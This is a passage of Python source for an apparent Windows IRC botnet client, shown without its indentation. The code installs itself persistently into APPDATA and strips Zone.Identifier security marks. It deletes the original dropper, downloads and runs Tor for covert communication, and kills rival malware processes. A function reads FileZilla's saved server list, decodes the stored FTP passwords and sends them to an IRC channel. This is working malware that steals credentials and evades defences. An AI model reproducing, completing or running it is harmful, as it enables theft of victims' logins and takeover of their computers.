if gethash(daemonData.read()) == gethash(mainData.read()):
try:
startfile(getenv("APPDATA")+installDir+"\\"+daemonProc)
except:
pass
if path.isfile(getenv("APPDATA")+installDir+"\\"+botProc) and not argv[0] == getenv("APPDATA")+installDir+"\\"+botProc:
with open(getenv("APPDATA")+installDir+"\\"+botProc, "r") as botProcData:
with open(argv[0], "r") as mainProcData:
if not gethash(mainProcData.read()) == gethash(botProcData.read()):
if IsProcessRunning(botProc):
killProcess(botProc)
try:
remove(getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
if not path.isfile(getenv("APPDATA")+installDir+"\\"+botProc):
try:
copyfile(argv[0], getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
print "wrote bot proc to AppData."
if path.isfile(getenv("APPDATA")+installDir+"\\"+botProc+":Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\"+botProc+":Zone.Identifier")
except:
pass
if path.isfile(getenv("APPDATA")+installDir+"\\"+meltFile):
try:
f = open(getenv("APPDATA")+installDir+"\\"+meltFile)
fileNamewPath = f.read()
f.close()
fileName = fileNamewPath.split("\\")[len(fileNamewPath.split("\\")) - 1]
killProcess(fileName)
try:
remove(fileNamewPath)
except:
pass
try:
remove(getenv("APPDATA")+installDir+"\\"+meltFile)
except:
pass
except:
pass
if not IsProcessRunning(botProc) and not argv[0].endswith(botProc):
worked=False
try:
f = open(getenv("APPDATA")+installDir+"\\"+meltFile, "w")
f.write(argv[0])
f.close()
while 1:
if path.isfile(getenv("APPDATA")+installDir+"\\"+botProc) and not argv[0] == getenv("APPDATA")+installDir+"\\"+botProc:
with open(getenv("APPDATA")+installDir+"\\"+botProc, "r") as botProcData:
with open(argv[0], "r") as mainProcData:
if not gethash(mainProcData.read()) == gethash(botProcData.read()):
if IsProcessRunning(botProc):
killProcess(botProc)
try:
remove(getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
if path.isfile(getenv("APPDATA")+installDir+"\\"+botProc+":Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\"+botProc+":Zone.Identifier")
except:
pass
if path.isfile(getenv("APPDATA")+installDir+"\\"+botProc):
startfile(getenv("APPDATA")+installDir+"\\"+botProc)
worked=True
break
else:
try:
copyfile(argv[0], getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
except:
pass
if worked == True:
raise SystemExit
if True == installTor:
if not IsProcessRunning("tor.exe") and path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe"):
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier")
except:
pass
try:
startfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe")
except:
pass
if not IsProcessRunning("tor.exe"):
for delFile in ["Tor", "Data"]:
try:
remove(getenv("APPDATA")+installDir+"\\Tor")
except:
pass
downloadTor(getenv("APPDATA")+installDir+"\\")
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe"):
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier")
except:
pass
try:
startfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe")
except:
pass
elif not path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe"):
print "downloading Tor..."
downloadTor(getenv("APPDATA")+installDir+"\\")
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe"):
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier")
except:
pass
try:
startfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe")
except:
pass
if not IsProcessRunning(botProc) and not argv[0].endswith(botProc): #and not argv[0].endswith(botProc1):
installTor=False
installwindows()
else:
start_new_thread(installwindows, ())
if installTor == True:
start_new_thread(torwatch, ())
def shoitzilla(keyword,s,channel):
FilePath = getenv("APPDATA")+"\\FileZilla\\recentservers.xml"
if path.isfile(FilePath):
sendmsg("FileZilla installed. Retrieving logins...", s, channel)
f = open(FilePath)
r = f.read()
f.close()
lines = r.split("<Server>")
dstr = ""
TempData = [""]
Aoutput = ""
for line in lines:
output = ""
if "<User>" in line:
output=output+line.split("<User>")[1].split("</User>")[0]+"@"
if "<Host>" in line:
output=output+line.split("<Host>")[1].split("</Host>")[0]
if "<Port>" in line:
output=output+":"+line.split("<Port>")[1].split("</Port>")[0]
if "<pass encoding=\"base64\">" in line:
password=b64decode(line.split("<pass encoding=\"base64\">")[1].split("</pass>")[0])
output=output+"|"+password
output=output.replace("\n","")
if keyword.lower() in output.lower() or keyword.lower() == "all" and "@" in output and ":" in output and "|" in output:
sendmsg(output, s, channel)
sendmsg("FileZilla logins retrieved.", s, channel)
else:
sendmsg("FileZilla not installed.", s, channel)
def advbotkiller():
botprocs = ["miner", "stub", "bote", "pcihost", "worm", "ircbot", "rxbot", "aspergillus", "ch180", "wservice", "winmgr"]
while doProtect == True:
try:
KillProcessandFileList(botprocs)
except:
pass
sleep(60)
try:
appdata = listdir(getenv("APPDATA"))
sleep(10)
for affile in appdata:
if ".exe" in affile or ".scr" in affile or ".dll" in affile or ".lnk" in affile or ".com" in affile or ".pif" in affile:
try:
if not ".dll" in affile:
pythoncom.CoInitialize()
c = wmi.WMI()
for process in c.Win32_Process():
handle = OpenProcess(PROCESS_ALL_ACCESS,False, process.ProcessId)
exe = GetModuleFileNameEx(handle, 0)
if affile in exe:
process.Terminate()
remove(affile)